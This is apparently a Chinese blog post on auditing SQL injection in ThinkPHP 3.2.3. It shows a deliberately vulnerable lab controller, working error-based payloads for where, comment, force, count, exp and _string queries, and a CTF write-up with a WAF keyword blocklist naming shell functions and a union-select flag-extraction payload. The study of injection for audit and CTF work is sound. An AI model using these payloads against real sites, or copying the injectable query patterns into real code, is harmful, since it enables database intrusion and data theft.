ThinkPHP框架分析
Jackie

ThinkPHP框架分析

MVC和三层结构的认识

MVC是一种开发模式,三层结构是一种开发习惯,严格来讲是完全不同的概念,但是实际中有各种联系:

MVC是一种将视图、控制、数据三者分开的一种开发模式:

简写 全称 工作
M Model(模型) 编写Model类,负责数据的操作
V View(视图) 编写HTML文件,负责前台页面显示
C Controller(控制器) 编写类文件,IndexController.class.php

ThinkPHP3.2.3-Doc

下文均以ThinkPHP3.2.3举例

核心文件

  • 项目目录
├─ThinkPHP                     框架系统目录
│ ├─Common 核心公共函数目录
│**├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│**├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ │ ├─Db
│ │ │ │**├─Driver.class.php 数据条件分析,各种操作数据库
│ │ │**├─Model.class.php 连贯操作
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件
----------------------------------
├─Application
│ ├─Common 应用公共模块
│ │ ├─Common 应用公共函数目录
│ │ └─Conf 应用公共配置文件目录
│ ├─Home 默认生成的Home模块
│ │ ├─Conf 模块配置文件目录
│ │ ├─Common 模块函数公共目录
│**│ ├─Controller 模块控制器目录
│**│ ├─Model 模块模型目录
│ │ └─View 模块视图文件目录
│**├─Runtime 运行时目录(可删除,运行时可再次生成)
│ │ ├─Cache 模块缓存目录
│ │ ├─Data 数据目录
│ │ ├─Logs 日志目录
│ │ └─Temp 缓存目录
  • 开启调试

config.php添加语句

'SHOW_PAGE_TRACE' =>true,

(config.php在Application/Common/Conf目录)

访问

URL模式

系统会从URL参数中解析当前请求的模块、控制器和操作:

  • 1(PATHINFO模式)
http://serverName/index.php/模块/控制器/操作
http://serverName/index.php/index/content/list
  • 0(普通模式)
http://serverName/index.php?m=模块&c=控制器&a=方法名&键1=值&...
http://serverName/index.php?m=index&c=content&a=list

控制器

ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共(public function)方法

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo 'hello,thinkphp!';
}
}

控制器操作

A([模块/]控制器标志)实例化控制器对象

R([模块/]控制器标志/操作方法)实例化控制器对象同时调用指定对象

  • A方法

跨控制器实例化后,再调用被实例化对象的方法

$Test=A('User');
$Test->index();
  • R方法

相比A方法更加简单快捷,直接调用控制器里的方法

R('Test/index');
  • Action参数绑定

Action参数绑定是通过直接绑定URL地址中的变量作为操作方法的参数,Action参数绑定功能默认是开启的,其原理是把URL中的参数(不包括模块、控制器和操作名)和操作方法中的参数进行绑定

'URL_PARAMS_BIND' => true

官方推荐I方法

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
//强转成int类型
$id=I('id','1','intval');
dump($id);
  • 请求类型
常量 说明
IS_GET(POST、PUT、DELETE) 判断是否是GET(POST、PUT、DELETE)方式提交
IS_AJAX 判断是否是AJAX提交
REQUEST_METHOD 当前提交类型

Ajax请求的时候,抓包后需在头部添加

X-Requested-With:XMLHttpRequest
  • 插件控制器

3.2.3版本开始,插件控制器默认和模块同级

http://127.0.0.1/tp/home/info/index/addon/SystemInfo

3.2.3版本中,实际访问呢的插件控制器是

Addon/SystemInfo/Controller/InfoController.class.php

插件控制器的定义如下:

<?php
namespace Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller
{
public function index(){
//http://127.0.0.1/tp/index.php/模块名字/控制器名字/控制器方法/和模块同级的插件控制器名字/目录
//http://127.0.0.1/tp/index.php/Home/info/index/addon/SystemInfo
phpinfo();
}
}

SQL注入

常规注入

where方法

doc

以字符串方式将条件作为where()方法的参数时会产生SQL注入

//M('user'):实例化User对象
M('user')->where('id='.I('id'))->find();

提交payload

" and 1=(updatexml(1,concat(0x3a,(user())),1))%23"

如果是数组查询进入_parseType方法分析,数组的val值会被转成int

进入./ThinkPHP/Library/Think/Model.class.php中调试

  • 数组条件
public function getUserarray(){
$User = M("User"); // 实例化User对象
$map['id'] = I('id');
// 把查询条件传入查询方法
$User->where($map)->select();
}
//Model.class.php中
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}

强转成intval,1p被强转成1,无注入

table方法

一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,用到table方法的场景就是切换数据表查询

M()->table(I('tab'))->where('1=1')->find();

究其原因是query方法

field方法

field方法操作表中字段,限制查询返回的结果

M('user')->field(array('id','username'))->select();

只要field方法里的参数可控,不管是数组还是字符串,都是可以被注入的

M('user')->field(array('id','username'=>I('name')))->select();

alias、join、union方法

alias方法操作表的别名,和field方法用法类似

一般和join方法成对出现,用于对数据的连贯操作

出现join和union方法的时候,只要能控制参数一般情况下都会产生注入


小结

所有在表名之前的操作符或方法大多数都可以被注入

order、group、having

  • order方法
M('user')
->where('1=1')
->order(array('id'=>I('orderby')))
->select();
  • group方法
$data=M('user')
->find('max(score),username')
->group('score')
->select();
dump($data);
  • having方法
$data=M('user')
->field('max(score,username')
->group('score')
->having('score>1')
->select();
dump($data);

comment、index方法

  • comment

comment方法用于在生成的SQL语句中添加注释内容

$data=M('user')
->comment(I('com'))
->where('1=1')
->find();
dump($data);
//payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23
  • index

index方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称

//".\ThinkPHP\Library\Think\Db\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到
//TP5.0版本中存在该漏洞(代码审计时重点关注一下)
$data=M('user')->force(I('f'))->select();
dump($data);
//payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23

query、execute、聚合方法

ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作

  • query方法

实例化一个空模型后使用query方法查询数据

$data=M()->query('select * from thinkphp_user');
dump($data);
  • execute方法

execute方法可以新增、修改、删除数据,同样也是需要实例化空模型

M()->execute("update thinkphp_user set username='user' where id =1");
  • 聚合方法

count、max、min、avg、sum这5个方法注入场景类似

$data=M('user')->count(I('parameter'));
dump($data);

EXP注入

EXP表达式查询,支持SQL语法

exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新

对于统计字段(通常指的是数字类型)的更新,系统还提供了setIncsetDec方法

$user=M('user');
$user->where('id=5')->setInc('score',3);//用户的积分加3
$user->where('id=5')->setInc('score');//用户的积分加1
$user->where('id=5')->setDec('score',5);//用户的积分减5
$user->where('id=5')->setDec('score');//用户的积分减1

Action参数注入

审计的时候先查找I方法或者$_GET、$_POST等原生态的请求,从而容易忽略掉Action参数传入的变量

ThinkPHP5新增了INPUT函数

如果带入到where方法里,表示以字符串的形式查询,也就造成了注入

public\s+function\s+[\w_-]+\(\$

组合注入

组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string)、请求字符串查询()

_string注入

数组条件可以和字符串条件(采用_string作为查询条件)混合使用

_query注入

请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断

$map['id'] = array('gt','100');
$map['_query'] = 'status=1&score=100&_logic=or';

代码

此处附".\Application\Home\Controller\IndexController.class.php".\Application\Home\Controller\UserController.class.php源码

//IndexController.class.php
---
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
//http://127.0.0.1/tp/index.php/home/index/index
echo 'index!!!';
}

public function hello(){
//http://127.0.0.1/tp/index.php/home/index/hello
echo 'hello!!!';
}

public function getDbUser(){
$data=M('user')->where('id=1')->select();
dump($data);
}

public function getUserIndexA(){
//http://127.0.0.1/tp/index.php/home/index/getUserIndexA
$Test=A('User');
$Test->index();
}

public function getUserHelloA(){
$hello=A('User');
$hello->hello();
}

public function getUserIndexR(){
R('User/index');
}

public function getUserHelloR(){
R('User/hello');
}

public function getUser($id){
//http://127.0.0.1/tp/index.php/home/index/getUser/id/1
echo $id;
}

public function getUserI(){
//http://127.0.0.1/tp/index.php/home/index/getUserI/id/
$id=I('id','1','intval');
dump($id);
}

public function getUserWhere(){
//where方法
$data=M('user')->where('id='.I('id'))->find();
dump($data);
}

public function getUserArray(){
//用数组查询
$User = M("User"); // 实例化User对象
$map['id'] = I('id');
// 把查询条件传入查询方法
$User->where($map)->select();
}

public function getUserTable(){
//table方法
//创建一个空模型
M()->table(I('tab'))->where('1=1')->find();
}

public function getUserField(){
//field方法
//'username'=>I('name')给username一个别名
echo "1";
M('user')->field(array('id','username'=>I('name')))->select();
}

public function getUserOrder(){
//order方法
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
}

public function getUserGroup(){
//group方法
$data=M('user')->find('max(score),username')->group('score')->select();
dump($data);
}

public function getUserHaving(){
//having方法
$data=M('user')
->field('max(score,username')
->group('score')
->having('score>1')
->select();
dump($data);
}

public function getUserLimit(){
//limit方法
$data=M('user')->limit(I('limit'))->select();
dump($data);
}

public function getUserComment(){
//comment方法
$data=M('user')->comment(I('com'))->where('1=1')->find();
dump($data);
//payload: */ procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23
}

public function getUserIndex(){
//".\ThinkPHP\Library\Think\Db\Driver.class.php"中内部方法名写为force,外部方法还是index,可在常量中看到
//TP5.0版本中存在该漏洞(代码审计时重点关注一下)
$data=M('user')->force(I('f'))->select();
dump($data);
//payload: ?f='userid') procedure analyse(extractvalue(ramd(),concat(0x3a,user())),1);%23
}

public function getUserCount(){
//count方法
$data=M('user')->count(I('parameter'));
dump($data);
//payload: ?parameter=id) as tp_count FROM `thinkphp_user` where 1=1 and 1=(updatexml(1,concat(0x3a,user())),1)%23
}

public function getUserEXP(){
$map=array();
$map['id']=$_GET['id'];
$data=M('user')->where($map)->find();
dump($data);
//payload: ?id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x3a,user())),1)%23
//当不用官方推荐的I方法获取外界输入的值时,就会产生安全问题
}

public function getUserEXP2(){
// $user=M('user');
// $user->where('id=5')->setInc('score',3);//用户的积分加3
// $user->where('id=5')->setInc('score');//用户的积分加1
// $user->where('id=5')->setDec('score',5);//用户的积分减5
// $user->where('id=5')->setDec('score');//用户的积分减1
$user=M('user');
$user->where('id=2')->setInc('score',I('num'));
//payload: ?num=1 where (id=2) and 1=(updatexml(1,concat(0x3a,user())),1)%23
}
public function getUserAction($id){
if (intval($id)>0){
$data=M('suer')->where('id='.$id)->select();
dump($data);
}
}

public function getUserString(){
$user=M('user');
$map['id']=array('eq',1);
$map['username']='ok';
$map['_string']='score='.I('score');
$user->where($map)->select();
//payload: ?score=0) and 1=(updatexml(1,concat(0x3a,user())),1)%23
}
}
?>
//UserController.class.php
---
<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller {
public function index(){
echo 'User index!!!';
}

public function hello(){
//http://127.0.0.1/tp/index.php/home/user/hello
echo 'User hello!!!';
}
}
?>

ThinkPHP5详见05PHP个人博客

实战:H&NCTF——ez_tp

IndexController.class.php中源码:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
header("Content-type:text/html;charset=utf-8");
echo '装起来了';
}
public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}

$name = I('GET.name');
$User = M("user");

if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

}
}

  • WRITEUP

在原版thinkphp3.2.3中,删除了think_filter过滤的exp,使得我们可以利用在ThinkPHP\Library\Think\Db\Driver.class.php中的

if(is_array($val)) {
...
elseif('exp' == $exp ){
$whereStr .= $key.' '.$val[1];
}

}

利用exp时,需要手动添加等号,再配合union select,即可获得flag

payload:

/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

注意,cookie可能会匹配某些过滤,删除即可

image

 评论
评论插件加载失败
正在加载评论插件